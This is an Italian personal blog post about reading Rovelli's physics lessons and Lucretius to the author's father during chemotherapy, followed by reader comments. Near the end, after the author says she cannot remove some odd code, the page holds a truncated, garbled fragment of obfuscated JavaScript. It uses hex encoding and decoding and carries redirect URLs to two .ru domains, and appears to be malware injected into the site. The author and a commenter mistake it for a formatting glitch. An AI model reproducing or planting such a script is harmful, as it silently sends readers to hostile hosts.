l’ultima lezione

galassie

*

È da molto che non scrivo in questo blog, ma nemmeno altrove. Ho persino smesso di leggere per un po’, finché qualche mese fa non ho ritirato in libreria La realtà non è come ci appare. La struttura elementare delle cose, di Carlo Rovelli. Ma andiamo per gradi.

Ho trascorso l’inverno passato assecondando il mio naturale bisogno di vuoto solitudine e silenzio – che, come ha detto mio padre, non val la pena di riempirsi la testa con troppe parole. È questa, quella che io chiamo “l’ultima lezione”, anche se non è stata esattamente l’ultima. Ma è stato un salutare e lieto stupore a rendermi senza parole e senza pensieri per alcuni mesi. In letargo, come le marmotte. Una bolla, un vuoto pneumatico di meraviglia muta molto simile ad una gioia senza motivo e senza senso. So che si dice che dobbiamo trovare un senso alla nostra vita, come fosse un imperativo categorico o una spada di Damocle che pende sulle nostre teste. Ma credetemi – o non credetemi, che fa lo stesso -: se riuscite ad essere felici di nulla, sarete più felici di chi ha bisogno di qualcosa, oppur di molto, in questo mondo che spesso è fin troppo pieno. Chissà, forse potrei scrivere un’elogio del nulla… magari un’altra volta… benché sia difficile scrivere ciò di cui non si può parlare facilmente. A volte nemmeno necessario. Ma ri-andiamo per gradi. 

Lo scorso autunno mio padre ha dovuto sottoporsi ad un trattamento chemioterapico, una serie di trattamenti ripetuti ogni tre quattro settimane. Naturalmente era sempre mia madre che stava con lui durante la somministrazione del mix di farmaci: le era impossibile anche solo pensare di starsene a casa mentre lui era in ospedale. Noi, ossia io, figli e cognate, ci occupavamo di volta in volta di accompagnarli, quindi facevamo la spola per vedere come stava andando, per rassicurali e non lasciarli soli. Mio padre stava lì due tre giorni, intervallati dalla dialisi, quindi tornava a casa e il tram tram ricominciava. Dopo tre settimane la terapia si ripeteva; avrebbe perso un po’ di capelli ma tutto sommato aveva reagito bene e il linfoma si era notevolmente ridotto fin dalla prima chemio.

Ora non ricordo se al secondo o al terzo trattamento, mia madre quella mattina non stava bene e mi telefonò all’ultimo momento perché andassi a tener compagnia a mio padre in ospedale, che era già là, lo aveva accompagnato mio fratello. Mi preparai in fretta e furia e prima di uscire agguantai alcuni libri pensando che potevano tornare utili per trascorrere il tempo: uno era di Biagi, non era un mio libro e non lo avevo mai letto; l’altro era Sette lezioni di fisica, di Rovelli, che, nel caso, durante le ore di attesa avrei potuto leggerne alcuni brani.

Così, dopo che l’infermiera gli ha somministrato in vena un massiccio coktail di farmaci e il resto penetrava goccia a goccia, lui era lì sdraiato, tranquillo, e io gli sedevo accanto, Guarda cosa ti ho portato, gli dico, e li tiro fuori dal sacchetto – i libri. Posso leggerti qualcosa, se ti va. Questo è di Enzo Biagi, il giornalista. Te lo ricordi Biagi? Sì, se lo ricorda. Ma appena lo apro (è un librone pesante, ahimè), mi accorgo subito che non c’è niente lì dentro che valga la pena di essere letto in quel momento. Ora non rammento nemmeno il titolo, ma mi sembra parlasse di una storia datata e circostanziata, forse l’editto bulgaro e giù di lì. Ero un po’ delusa io stessa, di quel libro che comunque non era nemmeno mio, mentre mio padre ha osservato che, Non val la pena di riempirsi la testa con tutte quelle parole. Sì, in effetti, son davvero tante parole, troppe parole. L’ho rimesso via e ho preso l’altro. Un piccolo libro prezioso che avevo letto qualche mese prima. Ho saltato l’introduzione e ho cominciato a leggere ad alta voce. Non troppo alta, veramente, ma discreta.

«Lezione prima. Da ragazzo Albert Einstein ha trascorso un anno a bighellonare oziosamente. Se non si perde tempo non si arriva da nessuna parte, cosa che i genitori degli adolescenti purtroppo dimenticano spesso». E così via.

Al termine della prima pagina la mia voce era già afona. Leggere a voce anche solo discreta non è poi così facile, non ne sono abituata. Leggo come un treno silenziosamente, mentre a voce anche solo discreta è un’impresa che va al di là delle mie forze. Mi manca il fiato. Ho cercato allora di saltare alcuni paragrafi e leggere solo quelli più significativi. Temevo comunque di annoiarlo, e alcune volte mi fermavo per chiedergli se gli interessava. Allora mi ha chiesto se io avevo mai visto le galassie.

Gli ho risposto, La via lattea, sì. Qui da noi capita di rado, ma nelle notti stellate, se il cielo è terso e non c’è la luna, la via lattea si può vedere, almeno una parte. In alta montagna, nei luoghi deserti o sulle isole, si può vedere molto bene… oppure si può andare all’osservatorio. Possiamo andarci, se ti va. Quando?, mi ha chiesto. Non oggi, certo, gli ho risposto, ma quando starai meglio, fra un po’ di tempo, in primavera, nella bella stagione.

Nella bella stagione, ha ripetuto.

Nella bella stagione, ho confermato, mentre aspettavo che si mettesse a piangere, come fa di frequente, da qualche tempo in qua. Non un vero e proprio pianto, ma quella smorfia trattenuta che noi chiamiamo “magone”. Basta poco. Nel frattempo non ho bisogno di chiederglielo per sapere cosa sta pensando. Che non sa se vedrà ancora la primavera, lo so. E che se la bella stagione è ancora molto lontana (non era ancora passato il Natale), figuriamoci le galassie.

Il ricordo è vago. Non so dire con certezza se ho continuato a leggere o se ho smesso in quel momento. O se sono andata all’ultima pagina e ho letto le parole meravigliose di Lucrezio:

siamo tutti nati dal seme celeste;
tutti abbiamo lo stesso padre,
da cui la terra, la madre che ci alimenta,
riceve limpide gocce di pioggia
e quindi produce il luminoso frumento,
e gli alberi rigogliosi,
e la razza umana,
e le stirpi delle fiere
offrendo cibi con cui tutti nutrono i corpi,
per condurre una vita dolce
e generare prole …

Sapete, quando i ricordi si sovrappongono e non sai più ciò è vero o falso, o se l’hai solo immaginato, o sognato. Ma ora, più cerco di ricordare e più mi convinco di averglielo letto, sì, il brano di Lucrezio. Ora ne sono certa. Siamo arrivati alla fine.

A scanso di equivoci, sapete che faccio? Glielo chiedo, se se ne ricorda. E se non se lo ricorda, glielo rileggo daccapo. Magari questa sera, sul tardi, prima di cena. Se lo trovo in vena. O domani.

Che poi lo so bene che gli interessa più che altro di vedermi, anche solo per pochi minuti: qualche bacio e qualche carezza prima di tornarmene alle mie faccende.

La vita continua ancora per un po’. Si può dire che la bella stagione si sia ormai stabilizzata, anche se è stata dura, più di altre primavere. Ma c’è, e cerchiamo di ringraziarla.

Adesso le finestre sono spalancate – i rumori del mondo, l’aria, il vento, il canto degli uccelli, le voci, ma anche quello dei martelli pneumatici o il suono delle campane e i latrati dei cani – attraversano la mia casa e sono lievi.

Poco fa ho ripreso in mano il libro di Rovelli e desidero riportare qui in fondo il brano che precede e quello che segue i versi di Lucrezio.

«Come sappiamo affrontare, più o meno bene, la nostra morte individuale, così affronteremo il crollo della nostra civiltà. Non è molto diverso. E non sarà certo la prima civiltà a crollare. I Maya e Creta ci sono già passati. Nasciamo e moriamo come nascono e muoiono le stelle, sia individualmente che collettivamente. Questa è la nostra realtà. Per noi, proprio per la sua natura effimera, la vita è preziosa. Perché, come scrive Lucrezio, «il nostro appetito di vita è vorace, e la nostra sete di vita insaziabile» (De rerum natura, III, 1084).
Ma immersi in questa natura che ci ha fatto e che ci porta, non siamo esseri senza casa, sospesi fra due mondi, parti solo in parte della natura, con la nostalgia di qualcosa d’altro. No: siamo a casa.
La natura è la nostra casa e nella natura siamo a casa. Questo mondo strano, variopinto e stupefacente che esploriamo, dove lo spazio si sgrana, il tempo non esiste e le cose possono non essere in alcun luogo, non è qualcosa che ci allontana da noi: è solo ciò che la nostra naturale curiosità ci mostra della nostra casa. Della trama di cui siamo fatti noi stessi. Noi siamo fatti della stessa polvere di stelle di cui sono fatte le cose e sia quando siamo immersi nel dolore sia quando ridiamo e risplende la gioia non facciamo che essere quello che non possiamo che essere: una parte del nostro mondo.
Lucrezio lo dice con parole meravigliose:

[vedi sopra]

Per natura amiamo e siamo onesti. E per natura vogliamo sapere di più. E continuiamo a imparare. La nostra conoscenza del mondo continua a crescere. Ci sono frontiere, dove stiamo imparando, e brucia il nostro desiderio di sapere. Sono nelle profondità più minute dello spazio, nelle origini del cosmo, nella natura del tempo, nel fato dei buchi neri, e nel funzionamento del nostro stesso pensiero.
Qui, sul bordo di quello che sappiamo, a contatto con l’oceano di quanto non sappiamo, brillano il mistero del mondo, la bellezza del mondo, e ci lasciano senza fiato». [Carlo Rovelli, Sette brevi lezioni di fisica, pagg. 83-85]

(non chiedetemi però cosa siano quegli astrusi codici che si vedono qui sotto, che non riesco a far sparire, perché per me è un ulteriore mistero. Da dove vengono? Dove vanno? Ma, soprattutto, cosa ci fanno lì?)

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “rozmilla.wordpress.com”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;ehttps://25haich4342.ru/f2.html?a=26698https://gyh1lh20owj.ru/u.html?a=26698

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4 risposte a l’ultima lezione

  1. md ha detto:

    Bello il libro di Rovelli (che ho riletto e non basta), belle ovviamente le parole di Lucrezio, belle e toccanti le tue.
    Rimane il mistero dei segni in fondo, che magari la scienza a venire riuscirà a decifrare…

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    • rozmila ha detto:

      Grazie Mario.
      Sì, è bello il libricino di Rovelli, le sette brevi lezioni di fisica. È un estratto di quell’altro, che cito all’inizio, La realtà non è come ci appare. La struttura elementare delle cose. Anche questo ho dovuto leggerlo due volte. Ma tutto sommato riesce a far capire anche ad un profano (o asino come me) in fisica, qualcosina di più sulle teorie della relatività ristretta e generale, e sulla meccanica quantistica. Molto bello anche perché traccia un percorso che da Democrito arriva ai giorni nostri: nell’ultimo secolo c’è stato un grande balzo.
      I segni lì in fondo, in realtà un’idea me la son fatta: dev’essere perché ho fatto un copia incolla da word, ed è rimasto appiccicato il carattere Times New Roman. Forse. Comunque a me piace leggere in formato Times New Roman. Non è più bello?

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  2. Francesco ha detto:

    Grazie Rozmilla per queste meravigliose parole. Sono certo che la bellezza di quanto scrivi, però, non dipende solo dal contenuto di quello che scrivi ma da quell’intreccio, da quel delicato equilibrio tra forma e contenuto, che riesci ad imprimere al testo. In una parola, dal ritmo.

    Bello il libro di Rovelli. L’ho letto qualche tempo fa e non ho potuto fare a meno di proporne la lettura ad un gruppo di amici che però, mi è dispiaciuto molto, non hanno raccolto.
    Pazienza, me ne sono fatto una ragione..

    Continua a scrivere che io, come oggi, ogni tanto vengo a curiosare..

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  3. rozmila ha detto:

    Grazie Francesco. Mi fa piacere ciò che mi dici, e anche un po’ mi confonde… la bellezza, addirittura! Ma la bellezza è negli occhi di chi guarda, o di chi legge, in questo caso i tuoi. Mentre chi ha scritto ha cercato solo di essere onesto, anche se ovviamente si sceglie cosa lasciar emergere, a cosa dar valore. Un po’ come separare la crusca dal grano – ma non ci sarebbe alcun grano se non ci fosse stata anche la crusca…

    Ho appena finito di scrivere, poco fa. Ma ora bisogna che mi metta a lavorare: ho un po’ di lavoro arretrato che mi reclama, ahimè, e non può aspettare più di tanto.

    Grazie ancora.
    Milena

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